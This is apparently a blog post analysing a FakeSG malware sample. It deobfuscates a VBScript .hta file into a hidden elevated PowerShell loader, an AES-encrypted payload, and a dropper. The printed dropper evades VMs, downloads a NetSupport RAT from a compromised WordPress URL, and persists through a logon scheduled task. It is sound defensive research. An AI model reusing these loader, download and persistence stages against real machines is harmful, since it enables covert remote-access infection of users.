Analyzing FakeSG Malware Campaign Sample (.hta, .ps1)

FakeSG is an ongoing malware campaign (as of 12 Sep 2023). The campaign aims to compromise websites (most commonly WordPress), which then imitate browser update pages - prompting the user to install and execute a malicious file.

1. Campaign

The FakeSG campaign is known for its heavy obfuscation and payload delivery tactics - opting to HTML Applications (.hta) files to ultimately deliver the NetSupport Manager RAT.

Sources - PCrisk, Malwarebytes.

In this blog entry, we will analyze a .hta instance from the campaign, pulled off MalwareBazaar

2. Obfuscation

Here’s a snippet of the embedded VBScript in the .hta document. The obfuscation consists of 3 main parts.

A brief explanation of VBScript syntax:

  • : separates the next command, like ; in most other languages.
  • = denotes variable assignment.
  • &H denotes a hexadecimal number. (&H10 equals decimal 16).
  • ChrW() converts decimal numbers into unicode characters.
  • & concatenates strings together.
<script language="vBsCrIPt">

a70=574 - &H1F8:a117=872 - &H2F3:a110=932 - &H336:a99=711 - &H264:a116=679 - &H233:a105=980 - &H36B:a111=255 - &H90:a110=582 - &H1D8:a32=390 - &H166:a66=684 - &H26A:a99=926 - &H33B:a100=642 - &H21E:a40=925 - &H375:a66=955 - &H379:a121=707 - &H24A:a86=809 - &H2D3:a97=1071 - &H3CE:a108=814 - &H2C2:a32=965 - &H3A5:a71=269 - &HC6:a68=183 - &H73:a66=258 - &HC0:a41=307 - &H10A:a13=994 - &H3D5:a10=241 - &HE7:a32=633 - &H259:a32=320 - &H120:a32=815 - &H30F:a32=265 - &HE9:a32=530 - &H1F2:a32=964 - &H3A4:a32=571 - &H21B:a32=932 - &H384:a32=614 - &H246:a32=320 - &H120:a32=605 - &H23D:a32=394 - &H16A:a32=334 - &H12E:a32=980 - &H3B4:a32=598 - &H236:a32=293 - &H105:a32=874 - &H34A:a32=452 - &H1A4:a32=764 - &H2DC:a68=669 - &H259:a105=755 - &H28A:a109=1095 - &H3DA:a32=840 - &H328:a120=335 - &HD7:a100=585 - &H1E5:a113=1018 - &H389:a13=492 - &H1DF:a10=683 - &H2A1:a32=758 - &H2D6:a32=619 - &H24B:a32=443 - &H19B:a32=620 - &H24C:a32=871 - &H347:a32=513 - &H1E1:a32=992 - &H3C0:a32=719 - &
...
...
res =  ChrW ( a70 ) & ChrW ( a117 ) & ChrW ( a110 ) & ChrW ( a99 ) & ChrW ( a116 ) & ChrW ( a105 ) & ChrW ( a111 ) & ChrW ( a110 ) & ChrW ( a32 ) & ChrW ( a66 ) & ChrW ( a99 ) & ChrW ( a100 ) & ChrW ( a40 ) & ChrW ( a66 ) & ChrW ( a121 ) & ChrW ( a86 ) & ChrW ( a97 ) & ChrW ( a108 ) & ChrW ( a32 ) & ChrW ( a71 ) & ChrW ( a68 ) & ChrW ( a66 ) & ChrW ( a41 ) & ChrW ( a13 ) & ChrW ( a10 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a68 ) & ChrW ( a105 ) & ChrW ( a109 ) & ChrW ( a32 ) & ChrW ( a120 ) & ChrW ( a100 ) & ChrW ( a113 ) & ChrW ( a13 ) & ChrW ( a10 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( 
...
...
Execute Eval("Eval(""Eval(""""Eval(""""""""Eval(""""""""""""""""Eval(""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval
...
...

Close
</script>

3. Deobfuscation

Being pretty unfamiliar with the VBScript language, I sourced for some material on how to get started with this sample.

Surprisingly, I found an step-by-step analysis report for a similar malware sample - likely from the same malware family/threat actor. The author wrote a Python script, making use of regex to extract and deobfuscate the strings.

However, I was quite sure there was an easier way - and there was.

3.1. Initial Deobfuscation

We notice a string being built on the res variable.

res =  ChrW ( a70 ) & ChrW ( a117 ) & ChrW ( a110 ) & ChrW ( a99 ) ...

To dynamically extract its contents, we add the line document.write(res) and run the malicious code. Then, we simply copy the value written into the HTA window.

res =  ChrW ( a70 ) & ChrW ( a117 ) & ChrW ( a110 ) & ChrW ( a99 ) ...
document.write(res)

Shown below is the value of res in plaintext. Long arrays and ShellExecute - pretty gnarly stuff.

Immediately, Function Bcd looks to be a decoder for the Array structures. It subtracts 608 from each element and converts it into an ASCII character.

Function Bcd(ByVal GDB) 
    Dim xdq 
    Dim nHV 
    nHV = 608 
    Dim kBR 
    kBR = wHR(GDB) 
    If kBR = 7000 + 1204 Then 
        For Each xdq In GDB 
            Dim TMN 
            TMN = TMN & Chr(xdq - nHV) 
        Next 
    End If 
    Bcd = TMN 
End Function 

Function qSN() 
    Dim GDB 
    Dim DQJ 
    GDB = Array(640,653,677,728,709,707,725,724,713,719,718,688,719,716,713,707,729,640,693,718,690,709,723,724,722,713,707,724,709,708,640,691,724,705,722,724,653,688,722,719,707,709,723,723,640,647,707,717,708,654,709,728,709,647,640,653,695,713,718,708,719,727,691,724,729,716,709,640,712,713,708,708,709,718,640,653,673,722,711,725,717,709,718,724,684,713,723,724,640,731,655,707,640,720,719,727,709,722,723,712,709,716,716,654,709,728,709,640,644,715,678,728,688,682,640,669,640,647,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,674,664,722,717,697,660,710,680,720,706,664,712,709,714,683,656,698,677,665,713,659,724,697,705,677,716,686,721,662,661,661,714,723,674,726,693,720,681,682,678,680,687,718,657,725,707,661,716,689,714,660,674,709,657,716,660,665,692,691,721,725,730,711,664,694,665,676,680,724,693,724,675,722,685,708,655,698,684,726,687,698,661,686,715,711,678,720,722,715,690,710,658,693,705,679,665,729,680,720,708,712,724,722,676,730,720,690,682,679,676,713,675,705,691,662,673,717,683,713,728,651,712,707,694,688,716,696,710,716,714,729,718,676,686,684,727,730,660,688,693,722,714,717,659,655,691,708,719,722,663,708,706,659,710,713,698,709,721,711,711,724,697,689,657,718,698,682,656,688,726,676,692,706,664,696,661,712,665,697,721,718,678,714,716,727,719,674,718,657,683,721,717,660,728,690,716,691,665,720,676,675,659,709,651,721,661,684,710,705,677,716,716,727,697,691,659,710,676,674,656,673,673,727,683,688,681,655,729,685,687,730,663,729,714,722,694,729,720,718,686,713,685,678,674,712,696,693,698,719,685,691,713,651,719,728,665,676,713,686,714,683,710,710,698,720,727,683,725,687,685,662,661,682,688,694,688,656,696,707,722,682,707,694,664,683,687,687,720,682,711,682,707,683,676,679,665,726,698,659,675,691,725,706,675,684,678,683,684,723,680,657,677,684,695,716,692,663,729,661,689,684,651,684,720,723,659,662,676,697,695,677,707,663,713,679,730,663,705,727,716,697,722,691,710,659,678,728,698,696,712,721,691,719,726,720,674,659,715,677,721,717,697,692,727,692,651,656,709,718,697,689,717,708,689,685,660,730,717,720,665,696,656,729,719,693,729,684,673,674,715,657,725,716,681,678,728,681,662,710,676,687,698,726,688,691,657,687,665,687,662,728,679,723,686,662,678,682,662,723,664,696,712,656,696,709,724,691,660,710,706,661,709,681,722,713,695,657,728,678,686,685,680,709,711,723,674,690,661,709,684,656,651,697,711,677,689,665,718,709,663,657,720,729,676,677,692,689,683,715,655,712,684,690,709,674,695,688,716,677,662,673,705,678,719,684,660,708,728,658,696,661,728,715,662,691,729,727,708,695,673,696,724,656,681,721,729,695,728,685,707,710,730,719,709,675,651,685,658,708,719,679,692,724,680,651,729,691,730,719,709,658,730,692,727,718,655,720,674,719,728,719,692,662,694,686,677,676,695,686,663,674,721,682,730,716,697,709,688,687,655,713,713,716,712,697,680,678,696,718,697,713,707,675,688,678,722,715,712,710,663,693,651,723,728,660,683,691,682,718,727,718,720,722,713,686,708,725,680,692,694,711,698,721,679,686,658,723,651,710,695,682,714,658,673,729,730,665,675,713,685,720,707,722,710,724,691,655,689,723,679,705,725,724,651,729,712,698,656,705,675,696,692,657,688,723,665,692,691,719,712,658,692,658,665,680,690,693,693,726,680,711,698,689,727,680,680,695,677,676,686,705,665,673,657,715,675,716,684,721,680,707,684,665,663,683,722,680,662,689,656,694,724,677,697,727,688,660,716,710,692,680,690,657,698,691,655,712,689,694,680,689,676,664,676,685,712,665,696,716,730,684,676,712,690,705,709,673,660,715,657,710,728,686,684,661,724,709,681,727,696,717,659,680,720,657,727,678,691,722,714,718,721,658,662,682,709,725,678,718,664,660,726,661,674,708,684,689,692,726,693,723,708,691,710,683,675,706,719,674,726,698,661,711,677,682,684,723,709,708,720,690,729,730,709,660,684,727,713,695,687,682,714,712,720,718,711,719,658,659,718,706,687,692,711,711,664,661,697,720,712,721,698,690,679,665,681,682,690,690,724,715,683,730,656,710,690,655,661,686,692,657,711,684,686,683,717,664,663,687,730,693,713,727,723,714,705,696,685,651,712,679,691,693,722,715,709,708,683,656,658,725,688,714,730,664,681,674,656,659,716,673,674,727,690,723,658,722,711,709,695,698,710,714,693,712,694,656,651,697,710,717,657,686,681,665,687,689,708,690,659,695,721,705,674,680,705,678,694,692,707,690,730,679,730,657,675,692,676,716,686,662,730,651,705,714,651,697,727,709,658,682,689,681,723,687,665,658,661,660,694,696,659,661,681,686,727,662,715,727,676,723,655,680,696,716,661,727,673,655,714,724,730,710,710,663,683,677,712,678,690,727,662,715,710,692,712,693,655,692,658,684,714,692,682,675,705,665,655,675,707,687,722,724,726,708,727,694,697,663,722,656,677,659,656,689,674,693,727,714,691,724,728,728,698,706,694,690,691,693,677,691,698,698,714,682,682,662,728,658,685,686,727,674,675,710,662,665,728,673,676,684,688,716,685,726,651,714,710,679,689,684,683,692,706,689,686,683,721,676,724,723,694,682,717,718,723,723,697,685,708,679,695,714,712,725,655,659,715,689,678,713,686,728,687,698,698,695,711,690,729,693,680,718,730,715,716,725,692,685,714,710,680,709,661,717,686,679,678,663,711,720,681,687,697,662,656,678,681,677,687,705,711,710,714,695,692,679,677,718,686,661,709,715,655,680,725,730,683,678,723,712,707,690,656,721,651,689,710,728,706,698,689,697,656,656,678,697,665,725,691,692,727,688,684,717,665,716,724,657,729,664,655,722,691,694,697,728,674,692,711,681,658,723,707,678,730,707,687,718,685,686,718,728,693,691,693,708,710,709,683,727,691,655,716,726,686,721,715,710,685,663,674,709,691,695,715,690,656,682,720,719,708,724,725,691,729,729,685,712,658,663,729,680,728,720,697,726,727,659,685,695,681,655,705,655,684,716,659,698,693,728,723,696,725,720,657,693,730,686,658,695,692,660,674,686,657,706,676,711,690,659,677,659,664,717,696,661,730,663,709,659,682,665,727,709,722,692,665,726,698,678,688,677,721,729,675,728,691,706,659,721,692,681,707,709,697,655,655,728,719,692,679,675,659,664,686,656,674,722,677,677,720,657,693,683,660,685,717,709,710,694,690,715,665,689,669,669,647,667,644,681,679,698,705,716,695,640,669,640,647,697,656,682,721,694,659,682,716,708,677,728,691,706,696,694,716,694,718,682,679,689,694,720,717,689,718,712,685,690,694,682,727,692,659,686,688,706,717,694,662,707,659,681,669,647,667,644,688,705,676,705,695,682,714,694,640,669,640,686,709,727,653,687,706,714,709,707,724,640,647,691,729,723,724,709,717,654,691,709,707,725,722,713,724,729,654,675,722,729,720,724,719,711,722,705,720,712,729,654,673,709,723,685,705,718,705,711,709,708,647,667,644,688,705,676,705,695,682,714,694,654,685,719,708,709,640,669,640,699,691,729,723,724,709,717,654,691,709,707,725,722,713,724,729,654,675,722,729,720,724,719,711,722,705,720,712,729,654,675,713,720,712,709,722,685,719,708,709,701,666,666,677,675,674,667,644,688,705,676,705,695,682,714,694,654,688,705,708,708,713,718,711,640,669,640,699,691,729,723,724,709,717,654,691,709,707,725,722,713,724,729,654,675,722,729,720,724,719,711,722,705,720,712,729,654,688,705,708,708,713,718,711,685,719,708,709,701,666,666,698,709,722,719,723,667,644,688,705,676,705,695,682,714,694,654,674,716,719,707,715,691,713,730,709,640,669,640,657,658,664,667,644,688,705,676,705,695,682,714,694,654,683,709,729,691,713,730,709,640,669,640,658,661,662,667,644,688,705,676,705,695,682,714,694,654,683,709,729,640,669,640,699,691,729,723,724,709,717,654,675,719,718,726,709,722,724,701,666,666,678,722,719,717,674,705,723,709,662,660,691,724,722,713,718,711,648,644,681,679,698,705,716,695,649,667,644,722,696,715,729,714,640,669,640,699,691,729,723,724,709,717,654,675,719,718,726,709,722,724,701,666,666,678,722,719,717,674,705,723,709,662,660,691,724,722,713,718,711,648,644,715,678,728,688,682,649,667,644,730,727,681,717,708,687,695,684,640,669,640,644,722,696,715,729,714,699,656,654,654,657,661,701,667,644,688,705,676,705,695,682,714,694,654,681,694,640,669,640,644,730,727,681,717,708,687,695,684,667,644,725,684,726,716,709,721,680,709,728,640,669,640,644,688,705,676,705,695,682,714,694,654,675,722,709,705,724,709,676,709,707,722,729,720,724,719,722,648,649,667,644,719,725,673,697,681,688,714,720,730,640,669,640,644,725,684,726,716,709,721,680,709,728,654,692,722,705,718,723,710,719,722,717,678,713,718,705,716,674,716,719,707,715,648,644,722,696,715,729,714,652,640,657,662,652,640,644,722,696,715,729,714,654,684,709,718,711,724,712,640,653,640,657,662,649,667,644,688,705,676,705,695,682,714,694,654,676,713,723,720,719,723,709,648,649,667,644,718,707,692,692,673,718,640,669,640,686,709,727,653,687,706,714,709,707,724,640,691,729,723,724,709,717,654,681,687,654,685,709,717,719,722,729,691,724,722,709,705,717,648,640,652,640,644,719,725,673,697,681,688,714,720,730,640,649,667,644,727,684,687,709,673,722,698,640,669,640,686,709,727,653,687,706,714,709,707,724,640,691,729,723,724,709,717,654,681,687,654,685,709,717,719,722,729,691,724,722,709,705,717,667,644,710,715,715,697,684,712,718,687,730,640,669,640,686,709,727,653,687,706,714,709,707,724,640,691,729,723,724,709,717,654,681,687,654,675,719,717,720,722,709,723,723,713,719,718,654,679,730,713,720,691,724,722,709,705,717,640,644,718,707,692,692,673,718,652,640,648,699,681,687,654,675,719,717,720,722,709,723,723,713,719,718,654,675,719,717,720,722,709,723,723,713,719,718,685,719,708,709,701,666,666,676,709,707,719,717,720,722,709,723,723,649,667,644,710,715,715,697,684,712,718,687,730,654,675,719,720,729,692,719,648,640,644,727,684,687,709,673,722,698,640,649,667,644,710,715,715,697,684,712,718,687,730,654,675,716,719,723,709,648,649,667,644,718,707,692,692,673,718,654,675,716,719,723,709,648,649,667,699,706,729,724,709,699,701,701,640,644,691,697,708,712,687,714,728,640,669,640,644,727,684,687,709,673,722,698,654,692,719,673,722,722,705,729,648,649,667,644,721,712,697,728,709,714,717,640,669,640,699,691,729,723,724,709,717,654,692,709,728,724,654,677,718,707,719,708,713,718,711,701,666,666,693,692,678,664,654,679,709,724,691,724,722,713,718,711,648,644,691,697,708,712,687,714,728,649,667,644,721,712,697,728,709,714,717,640,732,640,720,719,727,709,722,723,712,709,716,716,640,653,640,733) 
    Dim thI 
    DQJ = Array(720,719,727,709,722,723,712,709,716,716,654,709,728,709) 
    thI = Bcd(GDB) 
    Set Mdq = RSv(Bcd(Array(691,712,709,716,716,654,673,720,720,716,713,707,705,724,713,719,718))) 
    LJD = Bcd(DQJ) 
    Mdq.ShellExecute LJD, thI,"","runas",0 self.close() 
End Function 

Function wHR(ByVal kBR) 
    wHR = VarType(kBR) 
End Function 

Function RSv(ByVal objectType) 
    Set RSv = CreateObject(objectType) 
End Function 

qSN() 

3.2. String Decoding

Performing the same deobfuscation technique as above, by printing the variable value with document.write(). I decoded the 3 Arrays observed in the document. Below is the result.

Here, we note a cmd.exe process is spawned running powershell. Along with powershell code to be executed. Let’s analyze it!

LJD = "powershell.exe"

Set Mdq = RSv("Shell.Application")

thI = "-ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $kFxPJ = 'AAAAAAAAAAAAAAAAAAAAAB8rmY4fHpb8hejK0ZE9i3tYaElNq655jsBvUpIJFHOn1uc5lQj4Be1l49TSquzg8V9DHtUtCrMd/ZLvOZ5NkgFprkRf2UaG9yHpdhtrDzpRJGDiCaS6AmKix+hcVPlXfljynDNLwz4PUrjm3/Sdor7db3fiZeqggtYQ1nZJ0PvDTb8X5h9YqnFjlwoBn1Kqm4xRlS9pDC3e+q5LfaEllwYS3fDB0AAwKPI/yMOz7yjrVypnNiMFBhXUZoMSi+ox9DiNjKffZpwKuOM65JPVP0XcrJcV8KOOpJgJcKDG9vZ3CSubCLFKLsH1ELWlT7y5QL+Lps36DYWEc7iGz7awlYrSf3FxZXhqSovpB3kEqmYTwT+0enYQmdQM4zmp9X0yoUyLABk1ulIFxI6fDOZvPS1O9O6xGsN6FJ6s8Xh0XetS4fb5eIriW1xFNMHegsBR5eL0+YgEQ9ne71pyDETQKk/hLReBWPlE6AaFoL4dx2X5xk6SywdWAXt0IqyWxMcfzoeC+M2doGTtH+ySzoe2zTwn/pBoxoT6VNEDWN7BqJzlYePO/iilhYHFXnYicCPFrkhf7U+sx4KSJnwnpriNduHTVgZqGN2s+fWJj2Ayz9CiMpcrftS/QsGaut+yhZ0aCXT1Ps9TSoh2T29HRUUvHgZQwHHWEDNa9A1kClLqHcL97KrH6Q0VtEYwP4lfTHR1ZS/hQVHQD8DMh9XlzLDhRaeA4k1fxNL5teIwXm3Hp1wFSrjnq26JeuFn84v5BdLQTvUsdSfKCboBvZ5gEJLsedpRyze4LwiWOJjhpngo23nbOTgg85YphqZRG9IJRRtkKz0fR/5NT1gLNKm87OzUiwsjaXM+hGSUrkedK02uPjz8IB03lABwRs2rgeWZfjUhV0+Yfm1NI9OQdR3WqaBHaFVTcRzGz1CTDlN6z+aj+Ywe2JQIsO9254VX35INw6kwDs/HXl5wA/jtzff7KEhFRw6kfThU/T2LjTJCa9/CcOrtvdwVY7r0E30QBUwjStxxZbVRSUESZZjJJ6x2MNwBCf69xADLPlMv+jfGQLKTbQNKqDtsVJmnssYMdGWjhu/3kQFiNxOZZWgRyUHnzkluTMjfHe5mNGF7gpIOY60FIEOagfjWTGEnN5ek/HuzKFshcR0q+QfxbZQY00FY9uSTwPLm9lt1y8/rSVYxBTgI2scFzcOnMNnxUSUdfeKwS/lvNqkfM7BeSWkR0JpodtuSyyMh27yHxpYvw3MWI/a/Ll3ZUxsXup1UzN2WT4BN1bDgR3E38mX5z7e3J9werT9vZFPEqyCxSb3qTIceY//xoTGC38N0BrEEp1UK4MmefVRk9Q==';$IGZalW = 'Y0JqV3JldExSbXVlVnJGQVpmQnhMRVJwT3NPbmV6c3I=';$PaDaWJjV = New-Object 'System.Security.Cryptography.AesManaged';$PaDaWJjV.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaDaWJjV.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaDaWJjV.BlockSize = 128;$PaDaWJjV.KeySize = 256;$PaDaWJjV.Key = [System.Convert]::FromBase64String($IGZalW);$rXkyj = [System.Convert]::FromBase64String($kFxPJ);$zwImdOWL = $rXkyj[0..15];$PaDaWJjV.IV = $zwImdOWL;$uLvleqHex = $PaDaWJjV.CreateDecryptor();$ouAYIPjpz = $uLvleqHex.TransformFinalBlock($rXkyj, 16, $rXkyj.Length - 16);$PaDaWJjV.Dispose();$ncTTAn = New-Object System.IO.MemoryStream( , $ouAYIPjpz );$wLOeArZ = New-Object System.IO.MemoryStream;$fkkYLhnOz = New-Object System.IO.Compression.GzipStream $ncTTAn, ([IO.Compression.CompressionMode]::Decompress);$fkkYLhnOz.CopyTo( $wLOeArZ );$fkkYLhnOz.Close();$ncTTAn.Close();[byte[]] $SYdhOjx = $wLOeArZ.ToArray();$qhYxejm = [System.Text.Encoding]::UTF8.GetString($SYdhOjx);$qhYxejm | powershell - }"

3.3. Powershell Analysis

Below is the manually decoded powershell code. The malware writers seem to have made a big fuss about obfuscating the payload. The payload goes through an AES decryption and GZIP decompression.

-ExecutionPolicy UnRestricted 
Start-Process 'cmd.exe' 
-WindowStyle hidden 
-ArgumentList {
    /c powershell.exe 
    $encrypted_payload_b64 = 'AAAAAAAAAAAAAAAAAAAAAB8rmY4fHpb8hejK0ZE9i3tYaElNq655jsBvUpIJFHOn1uc5lQj4Be1l49TSquzg8V9DHtUtCrMd/ZLvOZ5NkgFprkRf2UaG9yHpdhtrDzpRJGDiCaS6AmKix+hcVPlXfljynDNLwz4PUrjm3/Sdor7db3fiZeqggtYQ1nZJ0PvDTb8X5h9YqnFjlwoBn1Kqm4xRlS9pDC3e+q5LfaEllwYS3fDB0AAwKPI/yMOz7yjrVypnNiMFBhXUZoMSi+ox9DiNjKffZpwKuOM65JPVP0XcrJcV8KOOpJgJcKDG9vZ3CSubCLFKLsH1ELWlT7y5QL+Lps36DYWEc7iGz7awlYrSf3FxZXhqSovpB3kEqmYTwT+0enYQmdQM4zmp9X0yoUyLABk1ulIFxI6fDOZvPS1O9O6xGsN6FJ6s8Xh0XetS4fb5eIriW1xFNMHegsBR5eL0+YgEQ9ne71pyDETQKk/hLReBWPlE6AaFoL4dx2X5xk6SywdWAXt0IqyWxMcfzoeC+M2doGTtH+ySzoe2zTwn/pBoxoT6VNEDWN7BqJzlYePO/iilhYHFXnYicCPFrkhf7U+sx4KSJnwnpriNduHTVgZqGN2s+fWJj2Ayz9CiMpcrftS/QsGaut+yhZ0aCXT1Ps9TSoh2T29HRUUvHgZQwHHWEDNa9A1kClLqHcL97KrH6Q0VtEYwP4lfTHR1ZS/hQVHQD8DMh9XlzLDhRaeA4k1fxNL5teIwXm3Hp1wFSrjnq26JeuFn84v5BdLQTvUsdSfKCboBvZ5gEJLsedpRyze4LwiWOJjhpngo23nbOTgg85YphqZRG9IJRRtkKz0fR/5NT1gLNKm87OzUiwsjaXM+hGSUrkedK02uPjz8IB03lABwRs2rgeWZfjUhV0+Yfm1NI9OQdR3WqaBHaFVTcRzGz1CTDlN6z+aj+Ywe2JQIsO9254VX35INw6kwDs/HXl5wA/jtzff7KEhFRw6kfThU/T2LjTJCa9/CcOrtvdwVY7r0E30QBUwjStxxZbVRSUESZZjJJ6x2MNwBCf69xADLPlMv+jfGQLKTbQNKqDtsVJmnssYMdGWjhu/3kQFiNxOZZWgRyUHnzkluTMjfHe5mNGF7gpIOY60FIEOagfjWTGEnN5ek/HuzKFshcR0q+QfxbZQY00FY9uSTwPLm9lt1y8/rSVYxBTgI2scFzcOnMNnxUSUdfeKwS/lvNqkfM7BeSWkR0JpodtuSyyMh27yHxpYvw3MWI/a/Ll3ZUxsXup1UzN2WT4BN1bDgR3E38mX5z7e3J9werT9vZFPEqyCxSb3qTIceY//xoTGC38N0BrEEp1UK4MmefVRk9Q==';
    $aes_key = 'Y0JqV3JldExSbXVlVnJGQVpmQnhMRVJwT3NPbmV6c3I=';
    $encrypted_payload = [System.Convert]::FromBase64String($encrypted_payload_b64);
    $aes_iv = $encrypted_payload[0..15];

    $AesManaged = New-Object 'System.Security.Cryptography.AesManaged';
    $AesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB;
    $AesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
    $AesManaged.BlockSize = 128;
    $AesManaged.KeySize = 256;
    $AesManaged.Key = [System.Convert]::FromBase64String($aes_key);
    $AesManaged.IV = $aes_iv;

    $AesDecryptor = $AesManaged.CreateDecryptor();
    $gzip_payload = $AesDecryptor.TransformFinalBlock($encrypted_payload, 16, $encrypted_payload.Length - 16);
    $AesManaged.Dispose();
    
    $gzip_memory = New-Object System.IO.MemoryStream( , $gzip_payload );
    $payload_memory = New-Object System.IO.MemoryStream;
    $gzipstream_obj = New-Object System.IO.Compression.GzipStream $gzip_memory, ([IO.Compression.CompressionMode]::Decompress);
    $gzipstream_obj.CopyTo( $payload_memory );
    $gzipstream_obj.Close();
    $gzip_memory.Close();
    
    [byte[]] $barr_utf8_payload = $payload_memory.ToArray();
    $payload_str = [System.Text.Encoding]::UTF8.GetString($barr_utf8_payload);
    $payload_str | powershell - 
}

In the above code, we note that $payload_str is executed by the powershell interpreter. To extract the contents of $payload_str, simply run the code in powershell and print $payload_str. Below is the result after manual tidying and renaming.

Here, we observe the heart of this sample - a dropper, with VM detection and persistence.

function func_writeToFile($filepath, $fileBytes) {
    [IO.File]::WriteAllBytes($filepath, $fileBytes)
};

function Mne($filepath) {
    if ($filepath.EndsWith('.zip') -eq $True) {
        $basename = '\' + (Get-Item $filepath).Basename; 
        $Script:basePath = Join-Path $appdataDir $basename;
        Expand-Archive -Path $filepath -DestinationPath $basePath; 
        $Script:decompressed = 1; 
        del $filepath
    } else { 
        if ($decompressed -eq 1) { 
            mv -Path $filepath -Destination $basePath; 
            $filepath = Join-Path $basePath CareAbout.exe
        };
        $Action = (New-ScheduledTaskAction -Execute $filepath);
        $Trigger = New-ScheduledTaskTrigger -AtLogOn;
        Register-ScheduledTask -TaskName "BackgroundCheck" -Action $Action -Trigger $Trigger -RunLevel "Highest" -Force;Start $filepath
    }
};
    
function func_downloadBytes($BCl) {
    $objWebClient = New-Object ("Net.WebClient");
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
    $fileBytes = $objWebClient.DownloadData($BCl);
    return $fileBytes
};

function func_decode($rHG) {
    $pef=6735;
    $NMd=$Null;
    foreach($pPr in $rHG) {
        $NMd+=[char]($pPr-$pef)
    };
    return $NMd
};

function func_main(){
    $appdataDir = $env:AppData + '\';
    ;
    ;
    $vmStrings = @("VirtualBox", "VMware", "Xen", "Bochs","Qemu", "Hyper", "VRTUAL", "Virt", "A M I");
    $biosProperties = Get-WmiObject Win32_Bios | Select-Object -Property * | Out-String; 
    foreach($vmString in $vmStrings) {
        $vmStringFound = Select-String -Pattern $vmString -Input $biosProperties -AllMatches -Quiet;
        if($vmStringFound -eq $True) {
            Exit
        }
    };
    $pathDancingParty = $appdataDir + 'DancingParty.zip'; 
    if (Test-Path -Path $pathDancingParty) {
        Mne $pathDancingParty;
    } Else { 
        $bytesDancingParty = func_downloadBytes ("https://moodi-wood.com/wp-content/uploads/astra/DancingParty.zip");
        func_writeToFile $pathDancingParty $bytesDancingParty;
        Mne $pathDancingParty;
    }
    $pathCareAbout = $appdataDir + 'CareAbout.exe'; 
    if (Test-Path -Path $pathCareAbout) {
        Mne $pathCareAbout;
    } Else { 
        $bytesCareAbout = func_downloadBytes ("https://moodi-wood.com/wp-content/uploads/astra/CareAbout.exe");
        func_writeToFile $pathCareAbout $bytesCareAbout;
        Mne $pathCareAbout;
    };
;
}

func_main;

3.4. Persistence

Most notably, the malware drops 2 files - DancingParty.zip and CareAbout.exe - downloaded from the internet into the %appdata% folder.

Here’s the process in order,

  • DancingParty.zip is downloaded and decompressed.
  • CareAbout.exe is downloaded
  • Schedules CareAbout.exe to run at logon with Windows Task Scheduler.
function Mne($filepath) {
    if ($filepath.EndsWith('.zip') -eq $True) {
        $basename = '\' + (Get-Item $filepath).Basename; 
        $Script:basePath = Join-Path $appdataDir $basename;
        Expand-Archive -Path $filepath -DestinationPath $basePath; 
        $Script:decompressed = 1; 
        del $filepath
    } else { 
        if ($decompressed -eq 1) { 
            mv -Path $filepath -Destination $basePath; 
            $filepath = Join-Path $basePath CareAbout.exe
        };
        $Action = (New-ScheduledTaskAction -Execute $filepath);
        $Trigger = New-ScheduledTaskTrigger -AtLogOn;
        Register-ScheduledTask -TaskName "BackgroundCheck" -Action $Action -Trigger $Trigger -RunLevel "Highest" -Force;Start $filepath
    }
};

3.5. Anti-Analysis

The powershell process prematurely exits if detected within a virtualized environment. This check is performed by looking for the following strings in the host’s BIOS properties - VirtualBox, VMware, Xen, Bochs, Qemu, Hyper, VRTUAL, Virt, A M I.

$vmStrings = @("VirtualBox", "VMware", "Xen", "Bochs","Qemu", "Hyper", "VRTUAL", "Virt", "A M I");
$biosProperties = Get-WmiObject Win32_Bios | Select-Object -Property * | Out-String; 
foreach($vmString in $vmStrings) {
    $vmStringFound = Select-String -Pattern $vmString -Input $biosProperties -AllMatches -Quiet;
    if($vmStringFound -eq $True) {
        Exit
    }
};

4. Summary

This .hta malware sample is a highly obfuscated dropper written in VBScript. Execution of the malicious VBScript spawns a powershell process that drops 2 files - CareAbout.exe and DancingParty.zip.

Persistence is established through the Windows Task Scheduler. And basic anti-virtualization techniques are deployed.

When unzipped, DancingParty.zip contains another copy of CareAbout.exe. CareAbout.exe is a legitimate signed executable of NetSupport Manager RAT.

NetSupport Manager RAT is a remote-access tool, commonly abused for conducting malicious activity.

5. Further Analysis

Downloading the dropped files manually.

C:\Users\root\Desktop
